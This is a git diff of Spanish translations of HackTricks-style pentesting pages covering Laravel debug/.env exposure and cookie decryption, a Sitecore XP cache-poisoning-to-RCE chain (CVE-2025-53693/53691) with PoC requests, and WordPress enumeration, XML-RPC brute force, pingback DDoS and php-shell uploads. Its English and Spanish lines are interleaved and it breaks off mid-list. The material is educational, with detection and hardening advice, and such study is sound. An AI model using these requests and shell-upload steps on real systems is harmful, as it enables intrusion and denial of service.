Si Laravel está en **modo debug** podrás acceder al **code** y a los **datos sensibles**.\
For example `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Esto suele ser necesario para explotar otras CVEs de RCE en Laravel.
Esto suele ser necesario para explotar otros Laravel RCE CVEs.
### Fingerprinting & endpoints dev expuestos
### Fingerprinting & exposed dev endpoints
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
Comprobaciones rápidas para identificar un stack Laravel y herramientas de desarrollo peligrosas expuestas en producción:
- `/_ignition/health-check` → Ignition presente (herramienta de debug usada por CVE-2021-3129). Si es accesible sin autenticación, la app puede estar en modo debug o mal configurada.
- `/_ignition/health-check` → Ignition presente (herramienta de debug usada en CVE-2021-3129). Si es accesible sin autenticación, la app puede estar en modo debug o mal configurada.
- `/_debugbar` → Laravel Debugbar assets; a menudo indica modo debug.
- `/telescope` → Laravel Telescope (dev monitor). Si es público, espera una amplia divulgación de información y posibles acciones.
- `/horizon` → Queue dashboard; revelación de versión y a veces acciones protegidas por CSRF.
- `/telescope` → Laravel Telescope (monitor de desarrollo). Si es público, espera una amplia divulgación de información y posibles acciones.
- `/horizon` → Queue dashboard; divulgación de versión y a veces acciones protegidas por CSRF.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
```bash
# Nuclei quick probe
@ -153,13 +153,13 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel guarda la APP que utiliza para cifrar las cookies y otras credenciales dentro de un archivo llamado `.env` que puede ser accedido mediante un path traversal en: `/../.env`
Laravel guarda la APP que usa para cifrar las cookies y otras credenciales dentro de un archivo llamado `.env` que puede ser accedido mediante un path traversal en: `/../.env`
Laravel también mostrará esta información en la página de depuración (que aparece cuando Laravel encuentra un error y está activada).
Laravel también mostrará esta información en la página de debug (que aparece cuando Laravel encuentra un error y está activada).
Usando la APP_KEY secreta de Laravel puedes descifrar y volver a cifrar cookies:
### Descifrar cookie
### Descifrar Cookie
```python
import os
import json
@ -222,14 +222,14 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
Versiones vulnerables: 5.5.40 y 5.6.x hasta 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Aquí puedes encontrar información sobre la vulnerabilidad de deserialization: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Aquí puedes encontrar información sobre la vulnerabilidad de deserialización: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Puedes probar y explotarlo usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
O también puedes explotarlo con metasploit: `use unix/http/laravel_token_unserialize_exec`
Puedes probarla y explotarla usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133]\
O también puedes explotarla con metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Otra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
Otra deserialización: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)

View File

@ -2,10 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un preauth XAML handler hacia HTML cache poisoning y, mediante un authenticated UI flow, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer.
Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un preauth XAML handler a HTML cache poisoning y, mediante un flujo de UI autenticado, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer.
- Producto afectado probado: Sitecore XP 10.4.1 rev. 011628
- Corregido en: KB1003667, KB1003734 (junio/julio 2025)
- Corregido en: KB1003667, KB1003734 (junio/julio de 2025)
Ver también:
@ -17,9 +17,9 @@ Ver también:
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth primitive: XAML Ajax reflection → HtmlCache write
## Primitiva preauth: XAML Ajax reflection → HtmlCache write
El punto de entrada es el preauth XAML handler registrado en web.config:
Entrypoint is the preauth XAML handler registered in web.config:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
@ -27,7 +27,7 @@ Accesible a través de:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attackercontrolled fields e invoca métodos mediante reflexión en los controles objetivo:
El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attackercontrolled fields e invoca de forma reflectiva métodos en los controles objetivo:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,9 +42,11 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Observación clave: la página XAML incluye una instancia XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allowlist ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl.
Observación clave: la página XAML incluye una instancia de XmlControl (xmlcontrol:GlobalHeader).
Magic method for poisoning:
Sitecore.XmlControls.XmlControl hereda de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allowlist ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl.
Método mágico para poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
@ -52,9 +54,9 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Porque podemos apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos un preauth arbitrary HtmlCache write primitive.
Al poder apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos una primitiva pre-auth para escritura arbitraria en HtmlCache.
### Solicitud de PoC (CVE-2025-53693)
### Solicitud PoC (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
@ -63,12 +65,12 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Notas:
- __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable, como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático).
- __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático).
- __PARAMETERS tiene el formato Method("arg1","arg2").
## Qué envenenar: Construcción de claves de caché
## Qué envenenar: Construcción de la clave de caché
Construcción típica de claves de HtmlCache usada por los controles de Sitecore:
Construcción típica de la clave de HtmlCache usada por los controles de Sitecore:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -94,11 +96,11 @@ Ejemplo de envenenamiento dirigido para un sublayout conocido:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Enumerando elementos cacheables y “vary by” dimensions
## Enumerar elementos cacheables y dimensiones “vary by”
Si ItemService está (mal)expuesto anónimamente, puedes enumerar componentes cacheables para derivar claves exactas.
Si el ItemService está (mal)expuesto de forma anónima, puedes enumerar componentes cacheables para derivar claves exactas.
Prueba rápida:
Sondeo rápido:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
@ -112,9 +114,9 @@ Busca campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Enumeración por canal lateral bajo identidades restringidas (CVE-2025-53694)
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve un array Results vacío, TotalCount aún puede reflejar preACL Solr hits. Puedes bruteforce item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos:
Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve una Results array vacía, TotalCount aún puede reflejar hits de Solr previos a la ACL. Puedes bruteforce item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -123,7 +125,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Postauth RCE: BinaryFormatter sink en convertToRuntimeHtml (CVE-2025-53691)
## Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
@ -131,14 +133,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Accesible a través del paso del pipeline convertToRuntimeHtml ConvertWebControls, que busca un elemento con id {iframeId}_inner y decodifica base64 + deserializa su contenido, luego inyecta la cadena resultante en el HTML:
Accesible a través del paso ConvertWebControls del pipeline convertToRuntimeHtml, que busca un elemento con id {iframeId}_inner y decodifica base64 y deserializa su contenido, luego inyecta la cadena resultante en el HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Trigger (autenticado, permisos de Content Editor). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin hacer clics en la UI:
Disparador (autenticado, Content Editor rights). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin clics en la UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -159,8 +161,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.
Generación de gadgets: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. El contenido de la cadena se inserta en el HTML por ConvertWebControls tras ejecutarse los sideeffects de deserialization.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@ -168,27 +169,27 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a
## Cadena completa
1) Preauth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attackercontrolled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
1) Un atacante preauth envenena HtmlCache con HTML arbitrario invocando reflectivamente WebControl.AddToCache vía XAML AjaxScriptManager.
2) El HTML envenenado sirve JavaScript que empuja a un usuario autenticado Content Editor a través del flujo FixHtml.
3) La página FixHtml dispara convertToRuntimeHtml → ConvertWebControls, que deserializa base64 controlado por el atacante vía BinaryFormatter → RCE bajo la identidad del app pool de Sitecore.
## Detección
- Preauth XAML: solicitudes a `/-/xaml/Sitecore.Shell.Xaml.WebControl` con `__ISEVENT=1`, `__SOURCE` sospechoso y `__PARAMETERS=AddToCache(...)`.
- Sondeos de ItemService: picos de consultas comodín a `/sitecore/api/ssc`, `TotalCount` grande con `Results` vacíos.
- Intentos de deserialization: `EditHtml.aspx` seguido de `FixHtml.aspx?hdl=...` y base64 inusualmente grande en campos HTML.
- Preauth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
## Endurecimiento
## Mitigación
- Aplicar los parches de Sitecore KB1003667 y KB1003734; gate/disable handlers preauth XAML o añadir validación estricta; monitorizar y limitar la tasa de `/-/xaml/`.
- Eliminar/reemplazar BinaryFormatter; restringir el acceso a convertToRuntimeHtml o aplicar validación fuerte del lado servidor en los flujos de edición HTML.
- Restringir `/sitecore/api/ssc` a loopback o a roles autenticados; evitar patrones de impersonation que provoquen sidechannels basados en `TotalCount`.
- Aplicar MFA/least privilege para usuarios Content Editor; revisar CSP para reducir el impacto del steering de JS derivado de cache poisoning.
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit `/-/xaml/`.
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`based side channels.
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
## References
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Información básica
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Los archivos de temas se pueden encontrar en /wp-content/themes/,** así que si modificas algún php del theme para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando **theme twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- En **wp-config.php** puedes encontrar la contraseña root de la base de datos.
- Rutas de login por defecto a comprobar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Principales archivos de WordPress**
- `index.php`
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `license.txt` contiene información útil como la versión de WordPress instalada.
- `wp-activate.php` se usa para el proceso de activación por email al configurar un nuevo sitio WordPress.
- Carpetas de login (pueden ser renombradas para ocultarlas):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
- `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
- La carpeta `wp-content` es el directorio principal donde se almacenan plugins y temas.
- `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
- `wp-includes/` es el directorio donde se almacenan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
- `wp-sitemap.xml` en versiones de WordPress 5.5 o superiores, WordPress genera un archivo sitemap XML con todas las entradas públicas y los tipos de post y taxonomías públicamente consultables.
**Post exploitation**
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
- El archivo `wp-config.php` contiene la información que WordPress necesita para conectarse a la base de datos, como el nombre de la base de datos, host de la base de datos, usuario y contraseña, claves de autenticación y salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.
### Users Permissions
### Permisos de usuarios
- **Administrator**
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
- **Administrador**
- **Editor**: Publica y gestiona sus propios posts y los de otros
- **Autor**: Publica y gestiona sus propios posts
- **Colaborador**: Escribe y gestiona sus posts pero no puede publicarlos
- **Suscriptor**: Navega posts y edita su perfil
## **Passive Enumeration**
## **Enumeración pasiva**
### **Get WordPress version**
### **Obtener la versión de WordPress**
Check if you can find the files `/license.txt` or `/readme.html`
Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html`
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Obtener plugins
### Obtener Plugins
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Enumeración activa
### Plugins and Themes
### Plugins y Temas
Probablemente no podrás encontrar todos los Plugins and Themes posibles. Para descubrirlos todos, necesitarás **Brute Force activamente una lista de Plugins and Themes** (esperemos que existan herramientas automatizadas que contengan estas listas).
Probablemente no podrás encontrar todos los plugins y temas posibles. Para descubrirlos todos, necesitarás **Brute Force activamente una lista de plugins y temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
### Usuarios
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress mediante Brute Forcing los IDs de usuario:
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress mediante Brute Forcing de los IDs de usuario:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -99,17 +99,17 @@ Otro endpoint `/wp-json/` que puede revelar alguna información sobre usuarios e
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Ten en cuenta que este endpoint sólo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tengan esta función habilitada**.
Note that this endpoint only exposes users that have made a post. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**.
También ten en cuenta que **/wp-json/wp/v2/pages** could leak direcciones IP.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el mensaje es diferente e indica si el nombre de usuario existe o no.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** dependiendo de si el **nombre de usuario** existe o no.
### XML-RPC
Si `xml-rpc.php` está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Puedes automatizar este proceso [using this](https://github.com/relarizky/wpxploit) por ejemplo).
Para comprobar si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta petición:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Comprobar**
```html
@ -120,9 +120,9 @@ Para comprobar si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credentials Bruteforce**
**Bruteforce de credenciales**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que pueden usarse para brute-force credentials. Si puedes encontrar cualquiera de ellos, puedes enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden usar para realizar brute-force de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
**Bypass 2FA**
Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes creds válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para login con esas creds saltándote la 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la console, pero aun así podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método está pensado para programas y no para humanos, y es antiguo; por lo tanto no soporta 2FA. Así que, si tienes creds válidas pero la entrada principal está protegida por 2FA, **puedes abusar de xmlrpc.php para hacer login con esas creds saltándote la 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún así podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto.\
Esto puede usarse para pedirle a **miles** de **sitios** Wordpress que **accedan** a una **ubicación** (causando así un **DDoS** en ese objetivo) o puedes usarlo para hacer que **Wordpress** escanee alguna **red** interna (puedes indicar cualquier puerto).
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ Esto puede usarse para pedirle a **miles** de **sitios** Wordpress que **accedan
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
Consulta el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para provocar DDoS.
Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método y provocar DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ Consulta el uso de **`system.multicall`** en la sección anterior para aprender
### wp-cron.php DoS
Este archivo suele existir en la raíz del sitio Wordpress: **`/wp-cron.php`**\
Cuando a este archivo se le **accede** se ejecuta una **consulta** MySQL "**intensa**", por lo que podría ser usado por **attackers** para **causar** un **DoS**.\
Además, por defecto, `wp-cron.php` se ejecuta en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Este archivo normalmente existe en la raíz del sitio de Wordpress: **`/wp-cron.php`**\
Cuando se **accede** a este archivo se ejecuta una "**pesada**" **consulta** MySQL, por lo que podría ser usada por **atacantes** para **causar** un **DoS**.\
Además, por defecto, el `wp-cron.php` se invoca en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Se recomienda deshabilitar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias a intervalos regulares (sin causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Prueba acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Worpress puede realizar una solicitud hacia ti.
Prueba a acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Worpress puede realizar una solicitud hacia ti.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy** y, si existen, intenta exploitarlos.
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy**, y si existen, intenta explotarlas.
## Herramientas automáticas
```bash
@ -240,14 +240,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así que podías modificar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para aplicar un NOP a la operación NOT (`!`).
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así que podías voltear la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para convertir en NOP la operación NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificando un php del tema usado (se requieren credenciales de admin)**
**Modificar un php del tema usado (se necesitan credenciales de admin)**
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
@ -255,7 +255,7 @@ Cambia el contenido por un shell php:
![](<../../images/image (384).png>)
Busca en internet cómo puedes acceder a esa página actualizada. En este caso debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Busca en internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -265,91 +265,91 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
para obtener una sesión.
## Plugin RCE
## RCE en plugins
### PHP plugin
### Plugin PHP
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
Puede ser posible subir archivos .php como un plugin.\
Crea tu backdoor php usando por ejemplo:
![](<../../images/image (183).png>)
Then add a new plugin:
Luego añade un nuevo plugin:
![](<../../images/image (722).png>)
Upload plugin and press Install Now:
Sube el plugin y presiona Install Now:
![](<../../images/image (249).png>)
Click on Procced:
Haz clic en Procced:
![](<../../images/image (70).png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Probablemente aparentemente esto no hará nada, pero si vas a Media, verás tu shell subido:
![](<../../images/image (462).png>)
Access it and you will see the URL to execute the reverse shell:
Accede a él y verás la URL para ejecutar el reverse shell:
![](<../../images/image (1006).png>)
### Subir y activar un plugin malicioso
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se lleva a cabo a través del WordPress dashboard de la siguiente manera:
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se realiza a través del dashboard de WordPress de la siguiente manera:
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
